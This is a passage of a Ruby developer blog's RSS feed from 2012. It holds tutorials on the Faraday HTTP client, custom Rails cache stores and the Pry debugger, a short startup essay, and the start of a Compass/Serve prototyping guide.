optimization, so "fast enough" for today is good enough for us.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What speed optimizations do you use on your site? Sound off in the comments&lt;/strong&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/Et3u752xIyE" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 12 Mar 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/Et3u752xIyE/real-web-performance-for-users-not-robots</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/03/12/real-web-performance-for-users-not-robots</feedburner:origLink></item>
    <item>
      <title>Faraday: One HTTP Client to Rule Them All</title>
      <description>&lt;p&gt;&lt;img align="right" src="/images/faraday-cage.jpg"&gt;
Faraday is a Ruby HTTP client which allow developers to customize its behavior with middlewares. If you're familiar with &lt;a href="http://rack.rubyforge.org/"&gt;Rack&lt;/a&gt;, then you'll love Faraday. Rather than re-implement yet another HTTP client, Faraday has adapters for popular libraries like Net::HTTP, excon, patron, and em-http. On top of having a consistent interface between different adapters, Faraday also allows you to manipulate request and responses before and after a request is executed.  This tutorial gives an introduction of common use cases built into Faraday, and also explains how to extend Faraday with custom middleware. The code is well tested and easy to follow, so I recommend browsing the source code to find extra options and features not covered in this tutorial.&lt;/p&gt;&lt;h2&gt;Basics&lt;/h2&gt;&lt;p&gt;Out of the box, Faraday functions like a normal HTTP client with a easy to use interface.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;Faraday.get 'http://example.com'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alternatively, you can initialize a &lt;code&gt;Faraday::Connection&lt;/code&gt; instance:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new
response = conn.get 'http://example.com'
response.status
response.body

conn.post 'http://example.com', :some_param =&amp;gt; 'Some Value'
conn.put  'http://example.com', :other_param =&amp;gt; 'Other Value'
conn.delete 'http://example.com/foo'
# head, patch, and options all work similarly
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Parameters can be set inline as the 2nd hash argument. To specify headers, add optional hash after the parameters argument or set them through an accessor:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn.get 'http://example.com', {}, {'Accept' =&amp;gt; 'vnd.github-v3+json'}

conn.params  = {'tesla' =&amp;gt; 'coil'}
conn.headers = {'Accept' =&amp;gt; 'vnd.github-v3+json'}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you have a restful resource you're accessing with a common base url, you can pass in a &lt;code&gt;:url&lt;/code&gt; parameter that'll be prefixed to all other calls. Other request options can also be set here.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new(:url =&amp;gt; 'http://example.com/comments')
conn.get '/index'  # GET http://example.com/comments/index
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All HTTP verb methods can take an optional block that will yield a &lt;code&gt;Faraday::Request&lt;/code&gt; object:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn.get '/' do |request|
  request.params['limit'] = 100
  request.headers['Content-Type'] = 'application/json'
  request.body = "{some: body}"
end
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;File upload&lt;/h3&gt;&lt;pre&gt;&lt;code class="ruby"&gt;payload = { :name =&amp;gt; 'Maguro' }

# uploading a file:
payload = { :profile_pic =&amp;gt; Faraday::UploadIO.new('avatar.jpg', 'image/jpeg') }

# "Multipart" middleware detects files and encodes with "multipart/form-data":
conn.put '/profile', payload
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Authentication&lt;/h3&gt;&lt;p&gt;Basic and Token authentication are handled by &lt;code&gt;Faraday::Request::BasicAuthentication&lt;/code&gt; and &lt;code&gt;Faraday::Request::TokenAuthentication&lt;/code&gt; respectively. These can be added as middleware manually or through the helper methods.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn.basic_auth('pita', 'ch1ps')
conn.token_auth('pitach1ps-token')
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Proxies&lt;/h3&gt;&lt;p&gt;To specify an HTTP proxy:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;Faraday.new(:proxy =&amp;gt; 'http://proxy.example.com:80')
Faraday.new(:proxy =&amp;gt; {
  :uri      =&amp;gt; 'http://proxy.example.com',
  :user     =&amp;gt; 'foo',
  :password =&amp;gt; 'bar'
})
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;SSL&lt;/h3&gt;&lt;p&gt;See the &lt;a href="https://github.com/technoweenie/faraday/wiki/Setting-up-SSL-certificates"&gt;Setting up SSL certificates&lt;/a&gt; wiki page.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new('https://encrypted.google.com', :ssl =&amp;gt; {
  :ca_path =&amp;gt; "/usr/lib/ssl/certs"
})
conn.get '/search?q=asdf'
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Faraday Middleware&lt;/h2&gt;&lt;p&gt;Like a Rack app, a &lt;code&gt;Faraday::Connection&lt;/code&gt; object has a list of middlewares. Faraday middlewares are passed an &lt;code&gt;env&lt;/code&gt; hash that has request and response information. Middlewares can manipulate this information before and after a request is executed.&lt;/p&gt;&lt;p&gt;To make this more concrete, let's take a look at a new &lt;code&gt;Faraday::Connection&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new
conn.builder

&amp;gt; #&amp;lt;Faraday::Builder:0x00000131239308
    @handlers=[Faraday::Request::UrlEncoded, Faraday::Adapter::NetHttp]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;Faraday::Builder&lt;/code&gt; is analogus to &lt;code&gt;Rack::Builder&lt;/code&gt;. The newly initialized &lt;code&gt;Faraday::Connection&lt;/code&gt; object has a middleware &lt;code&gt;Faraday::Request::UrlEncoded&lt;/code&gt; in front of an adapter &lt;code&gt;Faraday::Adapter::NetHttp&lt;/code&gt;. When a connection object executes a request, it creates a shared &lt;code&gt;env&lt;/code&gt; hash, wraps the outer middlewares around each inner middleware, and executes the &lt;code&gt;call&lt;/code&gt; method. Also like a Rack application, the adapter at the end of the builder chain is what actually executes the request.&lt;/p&gt;&lt;p&gt;Middlewares can be grouped into 3 types: request middlewares, response middlewares, and adapters. The distinction between the three is cosmetic. The following two initializers are equivalent:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;Faraday.new do |builder|
  builder.request  :retry
  builder.request  :basic_authentication, 'login', 'pass'
  builder.response :logger
  builder.adapter  :net_http
end

Faraday.new do |builder|
  builder.use Faraday::Request::Retry
  builder.use Faraday::Request::BasicAuthentication, 'login', 'pass'
  builder.use Faraday::Response::Logger
  builder.use Faraday::Adapter::NetHttp
end
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Using a Different HTTP Adapter&lt;/h3&gt;&lt;p&gt;If you wanted to use a different HTTP adapter, you can plug one in. For example, to use a EventMachine friendly client, you can switch to the EMHttp adapter:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new do |builder|
  builder.use Faraday::Adapter::EMHttp

  # alternative syntax that looks up registered adapters from lib/faraday/adapter.rb
  builder.adapter :em_http
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Currently, the supported adapters are Net::HTTP, EM::HTTP, Excon, and Patron.&lt;/p&gt;&lt;h3&gt;Advanced Middleware Usage&lt;/h3&gt;&lt;p&gt;The order in which middleware is stacked is important. Like with Rack, the first middleware on the list wraps all others, while the last middleware is the innermost one, so that's usually the adapter.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new(:url =&amp;gt; 'http://sushi.com') do |builder|
  # POST/PUT params encoders:
  builder.request  :multipart
  builder.request  :url_encoded

  builder.adapter  :net_http
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This request middleware setup affects POST/PUT requests in the following way:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;Request::Multipart&lt;/code&gt; checks for files in the payload, otherwise leaves everything untouched;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Request::UrlEncoded&lt;/code&gt; encodes as "application/x-www-form-urlencoded" if not already encoded or of another type&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Swapping middleware means giving the other priority. Specifying the "Content-Type" for the request is explicitly stating which middleware should process it.&lt;/p&gt;&lt;p&gt;Examples:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;payload = { :name =&amp;gt; 'Maguro' }

# uploading a file:
payload = { :profile_pic =&amp;gt; Faraday::UploadIO.new('avatar.jpg', 'image/jpeg') }

# "Multipart" middleware detects files and encodes with "multipart/form-data":
conn.put '/profile', payload
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Modifying the Middleware Stack&lt;/h3&gt;&lt;p&gt;Each &lt;code&gt;Faraday::Connection&lt;/code&gt; instance has a &lt;code&gt;Faraday::Builder&lt;/code&gt; instance that can be used to manipulate the middlewares stack.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;conn = Faraday.new
conn.builder.swap(1, Faraday::Adapter::EMHttp)  # replace adapter
conn.builder.insert(0, MyCustomMiddleware)      # add middleware to beginning
conn.builder.delete(MyCustomMiddleware)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For a full list of actions, take a look at the &lt;code&gt;Faraday::Builder&lt;/code&gt; documentation.&lt;/p&gt;&lt;h3&gt;Writing Middleware&lt;/h3&gt;&lt;p&gt;Middleware are classes that respond to &lt;code&gt;call&lt;/code&gt;. They wrap the request/response cycle. When it's time to execute a middleware, it's called with an &lt;code&gt;env&lt;/code&gt; hash that has information about the request and response. The general interface for a middleware is:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class MyCustomMiddleware
  def call(env)
    # do something with the request

    @app.call(env).on_complete do |env|
      # do something with the response
      # env[:response] is now filled in
    end
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It's important to do all processing of the response only in the on_complete block. This enables middleware to work in parallel mode where requests are asynchronous.&lt;/p&gt;&lt;p&gt;&lt;code&gt;env&lt;/code&gt; is a hash with symbol keys that contains info about the request and response.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;:method - a symbolized request method (:get, :post, :put, :delete, :option, :patch)
:body   - the request body that will eventually be converted to a string.
:url    - URI instance for the current request.
:status           - HTTP response status code
:request_headers  - hash of HTTP Headers to be sent to the server
:response_headers - Hash of HTTP headers from the server
:parallel_manager - sent if the connection is in parallel mode
:request - Hash of options for configuring the request.
  :timeout      - open/read timeout Integer in seconds
  :open_timeout - read timeout Integer in seconds
  :proxy        - Hash of proxy options
    :uri        - Proxy Server URI
    :user       - Proxy server username
    :password   - Proxy server password
:response - Faraday::Response instance. Available only after `on_complete`
:ssl - Hash of options for configuring SSL requests.
  :ca_path - path to directory with certificates
  :ca_file - path to certificate file
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Testing Middleware&lt;/h3&gt;&lt;p&gt;Faraday::Adapter::Test is an HTTP adapter middleware that lets you to fake responses.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# It's possible to define stubbed request outside a test adapter block.
stubs = Faraday::Adapter::Test::Stubs.new do |stub|
  stub.get('/tamago') { [200, {}, 'egg'] }
end

# You can pass stubbed request to the test adapter or define them in a block
# or a combination of the two.
test = Faraday.new do |builder|
  builder.adapter :test, stubs do |stub|
    stub.get('/ebi') {[ 200, {}, 'shrimp' ]}
  end
end

# It's also possible to stub additional requests after the connection has
# been initialized. This is useful for testing.
stubs.get('/uni') {[ 200, {}, 'urchin' ]}

resp = test.get '/tamago'
resp.body # =&amp;gt; 'egg'
resp = test.get '/ebi'
resp.body # =&amp;gt; 'shrimp'
resp = test.get '/uni'
resp.body # =&amp;gt; 'urchin'
resp = test.get '/else' #=&amp;gt; raises "no such stub" error

# If you like, you can treat your stubs as mocks by verifying that all of
# the stubbed calls were made. NOTE that this feature is still fairly
# experimental: It will not verify the order or count of any stub, only that
# it was called once during the course of the test.
stubs.verify_stubbed_calls
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Useful Middleware&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/pengwynn/faraday_middleware"&gt;faraday-middleware&lt;/a&gt; - collection of Faraday middlewares.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/dmarkow/faraday_yaml"&gt;faraday_yaml&lt;/a&gt; - yaml request/response processing&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/pw3F9VHmtLo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 12 Mar 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/pw3F9VHmtLo/faraday-one-http-client-to-rule-them-all</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/03/12/faraday-one-http-client-to-rule-them-all</feedburner:origLink></item>
    <item>
      <title>Writing a Custom Rails Cache Store</title>
      <description>&lt;p&gt;When you use Rails built-in helpers for page, action, and fragment caching, the cached data is stored into an instance of ActiveSupport::Cache::Store. But while the interface for using the cache stores are the same, each cache store implementation has different performance characteristics and are suited for different jobs. In this post, I'll cover what cache stores are available with Rails by default, how to tune them, and how to write your own custom cache store.&lt;/p&gt;&lt;h2&gt;Grabbing the Code&lt;/h2&gt;&lt;p&gt;If you want to follow along in the code, I recommend cloning the &lt;a href="https://github.com/rails/rails/"&gt;Rails repository&lt;/a&gt;. The cache related code I'm covering all live within &lt;a href="https://github.com/rails/rails/blob/master/activesupport/lib/active_support/cache.rb"&gt;activesupport/lib/cache.rb&lt;/a&gt; and &lt;a href="https://github.com/rails/rails/tree/master/activesupport/lib/active_support/cache"&gt;activesupport/lib/cache&lt;/a&gt; folder. The corresponding tests live in &lt;a href="https://github.com/rails/rails/blob/master/activesupport/test/caching_test.rb"&gt;activesupport/test/caching_test.rb&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Introducing the Abstract Store&lt;/h2&gt;&lt;p&gt;All cache store implementations inherit from an abstract store named &lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html"&gt;ActiveSupport::Cache::Store&lt;/a&gt;. This class defines the public interface that's used by Rails to do caching. The three basic operations are read, write, and delete. Here's a simple example you can run in irb:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;require 'activesupport'
cache = ActiveSupport::Cache.lookup_store(:memory_store)
cache.read('foo')
=&amp;gt; nil
cache.write('foo', 'bar')
cache.read('foo')
=&amp;gt; 'bar'
cache.delete('foo')
cache.read('foo')
=&amp;gt; nil
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After requiring activesupport, we ask for an instance of a MemoryStore (we'll cover the different store types later in this post). The interface for read, write, and delete are self explanatory. You can also &lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html"&gt;customize the behavior&lt;/a&gt; of these actions.&lt;/p&gt;&lt;h2&gt;Store Implementations&lt;/h2&gt;&lt;p&gt;The concrete store implementations are well documented, so I'll introduce them briefly here and leave the details to the documentation.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;MemoryStore&lt;/strong&gt; - a cache store that stores data in a plain-old Ruby hash. As an added feature, it keeps track of cache access and cache size, and will prune the cache when it hits a customizable max size.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;FileStore&lt;/strong&gt; - a cache store that stores data on the filesystem. It also caches multiple read calls within the same block in memory to decrease I/O.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;MemCacheStore&lt;/strong&gt; - the big daddy of cache stores. Backed by memcached, this store allows you to specify multiple memcached servers and load balances between them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;NullStore&lt;/strong&gt; - Interesting cache store that does nothing. That's right, if you look at &lt;a href="https://github.com/rails/rails/blob/master/activesupport/lib/active_support/cache/null_store.rb"&gt;its implementation&lt;/a&gt;, it's just a bunch of empty methods. It's perfect for use as a mock cache store for testing, or as a template for writing your own cache store.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Rails Initialization&lt;/h2&gt;&lt;p&gt;By default, Rails 3 will initialize a FileStore that you can reference through &lt;code&gt;Rails.cache&lt;/code&gt;. This cache is used internally by Rails to cache classes, pages, actions, and fragments. If you want to change which cache store is used, you can configure it in your application.rb&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# use a MemoryStore cache with a max size of 512 megabytes
config.cache_store = [:memory_store, {:size =&amp;gt; 536870912}]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In production mode, Rails will also insert &lt;a href="http://rtomayko.github.com/rack-cache/"&gt;Rack::Cache&lt;/a&gt; to the top of the middleware stack and use Rails.cache as its storage. Note that even though Rack::Cache's heap storage does not bound the size of its cache, if you use ActiveSupport's MemoryStore, the least recently used entries will be pruned from the cache when it hits your specified limit. So if you &lt;a href="http://tomayko.com/writings/things-caches-do"&gt;set correct cache headers&lt;/a&gt;, Rack::Cache will pick them and cache your responses.&lt;/p&gt;&lt;h2&gt;Writing A Custom Cache Store&lt;/h2&gt;&lt;p&gt;The default cache stores are a perfect fit for most situations, but if you do need to write a custom cache store, rest assured that it's easy to do.&lt;/p&gt;&lt;p&gt;The three main methods to override are:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# Read an entry from the cache implementation. Subclasses must implement this method.
def read_entry(key, options) # :nodoc:
  raise NotImplementedError.new
end

# Write an entry to the cache implementation. Subclasses must implement this method.
def write_entry(key, entry, options) # :nodoc:
  raise NotImplementedError.new
end

# Delete an entry from the cache implementation. Subclasses must implement this method.
def delete_entry(key, options) # :nodoc:
  raise NotImplementedError.new
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These methods are then used by the public interface methods. There are a few methods you can optionally implement, but your cache will work with just the three listed above.&lt;/p&gt;&lt;p&gt;For a client project, I wrote a write-through cache store called &lt;a href="https://github.com/jch/activesupport-cascadestore"&gt;CascadeCache&lt;/a&gt; that chains multiple cache stores together. For example, here's one possible configuration:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;config.cache_store = [:cascade_store, {
  :stores =&amp;gt; [
    [:memory_store, :size =&amp;gt; 5.megabytes],
    [:memcache_store, 'somehost:11211']
  ]
}]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The behavior of this cache store is to return the first hit from the list of caches. This allows the app to have a small low-latency MemoryStore in front of a MemCacheStore. If something can't be found in the MemoryCache, then we fall back to MemCache. When writing to the cache, entries are written through to both underlying cache stores. The primary reason for doing this wasn't because MemCache store was slow, but as an extra backup cache in case MemCache became temporarily unavailable (actually happened in production).&lt;/p&gt;&lt;p&gt;I'm hoping CascadeCache makes it upstream into ActiveSupport, but in the meantime, I've packaged it up as a &lt;a href="https://github.com/jch/activesupport-cascadestore"&gt;separate gem&lt;/a&gt;. For another example of a custom cache implementation, check out &lt;a href="https://github.com/jodosha/redis-store"&gt;redis-store&lt;/a&gt;. It includes an ActiveSupport compatible cache.&lt;/p&gt;&lt;p&gt;Caching is a tricky beast. On top of deciding what to cache and when to expire, the underlying cache store can affect your app's performance. Choose the cache store that best fits your needs, use a hybrid CascadeCache, or write your own. Good luck and happy tuning!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/axHJtT1K8bI" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 6 Mar 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/axHJtT1K8bI/writing-a-custom-rails-cache-store</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/03/06/writing-a-custom-rails-cache-store</feedburner:origLink></item>
    <item>
      <title>Pry Productivity From Your Code</title>
      <description>&lt;p&gt;&lt;img align="right" src="https://img.skitch.com/20120229-bb7gyjs7138q6yh47h2wea7cus.jpg" style="padding-left:12px; padding-bottom:12px"&gt;&lt;/p&gt;&lt;p&gt;You've heard of Pry right? It's a full-featured alternative to the classic IRB shell that we use in Ruby, and it's &lt;strong&gt;awesome sauce&lt;/strong&gt;. If you've ever felt like you wanted a crowbar to pry open your code during runtime... well, Pry is your answer.&lt;/p&gt;&lt;p&gt;Pry is essentially a REPL (read–eval–print loop) tool that you can use to examine and debug your code. One of the best features is that local variables are available to Pry, saving you from recreating them as you normally would in an IRB session.&lt;/p&gt;&lt;h3&gt;Installing Pry&lt;/h3&gt;&lt;p&gt;I like to install pry into the global gemset since it's a tool even when I'm outside of a Rails project&lt;/p&gt;&lt;pre&gt;&lt;code&gt;rvm use @global
gem install pry
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Replacing IRB with Pry&lt;/h3&gt;&lt;p&gt;In your application initialization, add the following to replace IRB with pry by default. For example, Rails would add this code to config/initializers/pry.rb&lt;/p&gt;&lt;pre&gt;&lt;code&gt;begin
  require "pry"
  IRB = pry
rescue
  # do nothing if pry fails to load
end
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Replacing ruby-debug with Pry&lt;/h3&gt;&lt;p&gt;Between different versions of Ruby, installing and requiring ruby-debug can lead to annoying problems. 1.8.7 uses ruby-debug, 1.9.2 requires ruby-debug19, and 1.9.3 &lt;a href="http://blog.wyeworks.com/2011/11/1/ruby-1-9-3-and-ruby-debug"&gt;blows up&lt;/a&gt; when you try to use ruby-debug19. ruby-debug also depends on the linecache gem, which &lt;a href="http://beginrescueend.com/support/troubleshooting/"&gt;sometimes requires extra work to use with rvm&lt;/a&gt; and sometimes fails in environments when the native extensions fail to build.&lt;/p&gt;&lt;p&gt;Instead, skip all that headache with Pry! Anywhere you would use a 'debugger' statement, just call:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;binding.pry
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;'binding' is a reference to the current local context. Enter 'exit' when you're finished with debugging, and the code will resume executing&lt;/p&gt;&lt;h3&gt;Additional features&lt;/h3&gt;&lt;p&gt;Pry has a ton of other productivity boosters built in. You can drop into a shell temporarily, browse docs without leaving your shell, edit and reload code, and send code snippets up to &lt;a href="http://gist.github.com"&gt;gist&lt;/a&gt;. For a full listing, check out &lt;a href="http://rubydoc.info/github/pry/pry/master/file/README.markdown"&gt;their README&lt;/a&gt;&lt;/p&gt;&lt;p&gt;There's a ton of documentation for Pry and a growing community around it; if you're interested in jumping in be sure to start at their &lt;a href="http://pry.github.com/"&gt;Github page&lt;/a&gt; for links to tutorials, screencasts, FAQs and a Wiki!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/X47sdICHK3M" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 29 Feb 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/X47sdICHK3M/pry-productivity-from-your-code</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/02/29/pry-productivity-from-your-code</feedburner:origLink></item>
    <item>
      <title>Balancing Pain and Happiness</title>
      <description>&lt;p&gt;&lt;em&gt;Republished from &lt;a href="http://blog.opperator.com"&gt;Opperator blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;When building a product for your audience, you need to empathize with their
pains and problems. It's one thing to imagine yourself in their proverbial
shoes, but it's much more effective to just wear the same damn shoes. It means
using your own product while you're building your product. Startup slang
commonly refers to this as "dog-fooding", but I dislike this term because it
evokes images of being forced fed something you don't want.&lt;/p&gt;&lt;p&gt;&lt;img src="/images/balancing-puppy.jpg"&gt;&lt;/p&gt;&lt;p&gt;While it's important to focus on relieving your customers' pain, it's equally
important to optimize your own happiness along the way. Not only will you
enjoy your work more, your code will be "happier" as well. Allow me to
explain what happy code looks like.&lt;/p&gt;&lt;p&gt;When Michael and I started &lt;a href="http://opperator.com"&gt;Opperator&lt;/a&gt;, we aligned
ourselves with our customers. When life sucks for our customers, life sucks
for us. When life is awesome for our customers, life is also awesome for us.
It's a very simple formula to balance: remove sucky things, and increase
awesome things. Simple as this sounds, many entrepreneurs only tackle the
former half of the formula. For any startup, there are many things that happen
behind the scenes that your customers don't see. Things like code smells,
technical debt, and shoddy documentation. But just because your customers
don't see these things, doesn't mean that you don't.&lt;/p&gt;&lt;p&gt;We execute quickly on Opperator, but we also take the time to step back and
holistically evaluate our product.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Are we happy with the direction we're going?&lt;/li&gt;
&lt;li&gt;Are we happy with the code we've written?&lt;/li&gt;
&lt;li&gt;Do we feel mentally or physically burned out?&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;These aren't things that your customer will see. But over time, these things
will add up. If you're not happy with working on your product, then your
efforts will be forced, and the results will reflect this. Taking a small
slice of time to take care of any of these points will yield long term results
for your business and for yourself.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/X7pkKgW8u2E" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 28 Feb 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/X7pkKgW8u2E/balancing-pain-and-happiness</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/02/28/balancing-pain-and-happiness</feedburner:origLink></item>
    <item>
      <title>Prototyping with Compass and Serve</title>
      <description>&lt;p&gt;For prototyping a new webapp, I like to get an HTML prototype on screen as
fast as possible. There are a number of ways to achieve this, ranging from the
heavyweight Rails, to the lightweight Sinatra. But even a barebones Sinatra
app requires you to specify routes and layouts. When I'm focused on sketching
out the markup structure and design, what I'm looking for is less distractions
from setup. Theoretically, one could prototype everything with raw static
HTML, but most designs usually share layouts and snippets that would be a pain
to copy and paste between different files. Writing raw CSS is also possible,
but once you've gotten a taste of Sass and Compass extensions, why would you
want to? In this post I'll outline my bottoms up approach to getting a site
design bootstrapped. I'll also cover how to get these prototypes up in a
public area for feedback, and how these prototypes can be used as scaffolding
alongside your development.&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;This tutorial builds up an HTML prototype from the bottom up to show how
prototyping problems can be solved with compass and serve. To build an HTML
prototype, you can skip all of the details and just run:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;serve create my-project
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Check out the &lt;a href="http://get-serve.com/documentation/create"&gt;serve documentation&lt;/a&gt;
for more detail. To arrive at the same conclusion step-by-step, read the long
version below.&lt;/p&gt;&lt;h2&gt;Overview&lt;/h2&gt;&lt;p&gt;We'll walk through the individual steps of building out a web prototype. We'll
start with the bare minimum and add pieces as needed. The example design I'm
using is the design for my car blog, and the final source can be &lt;a href="https://github.com/jch/rock_road"&gt;found here
on github&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Build a single static page&lt;/h2&gt;&lt;p&gt;The beauty of static pages is how quick it is to set one up. We'll worry about
the other pages after we've happy with how the index page looks. For starters,
let's create a basic page skeleton.&lt;/p&gt;&lt;pre&gt;&lt;code class="html"&gt;&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div id='header'&amp;gt;
      &amp;lt;a href='#'&amp;gt;Rocky Road Blog&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div id='main'&amp;gt;
      &amp;lt;div id='post-list'&amp;gt;
        &amp;lt;div class='post'&amp;gt;
          &amp;lt;!-- blog post goes here --&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div id='footer'&amp;gt;
      &amp;lt;p&amp;gt;Copyright 2011 RockyRoadBlog. All rights reserved&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To stub out image assets, I used &lt;a href="http://lorempixel.com/"&gt;LoremPixel&lt;/a&gt;. There's
no styling at all, but the structure gives us a good idea of where everything
will live.&lt;/p&gt;&lt;h2&gt;Add stylesheets&lt;/h2&gt;&lt;p&gt;Instead of writing raw CSS, it's much easier to write stylesheets with sass.
Compass is another library that provides a bunch of useful sass mixins and
functions. When paired with guard-compass, the stylesheets are compiled to css
files whenever you save your sass files.&lt;/p&gt;&lt;p&gt;Add the following to a Gemfile&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;source "http://rubygems.org"

gem "compass"
gem "guard"
gem "guard-compass"
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then run:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;bundle
bundle exec compass init --syntax=sass
bundle exec guard init
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By default, &lt;code&gt;compass&lt;/code&gt; uses the scss syntax, but I prefer the indentation based
sass syntax instead. Skip the &lt;code&gt;--syntax=sass&lt;/code&gt; if you prefer the default. Edit
your Guardfile to look like the following:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;guard "compass" do
  watch(%r{sass/*\.sass})
end
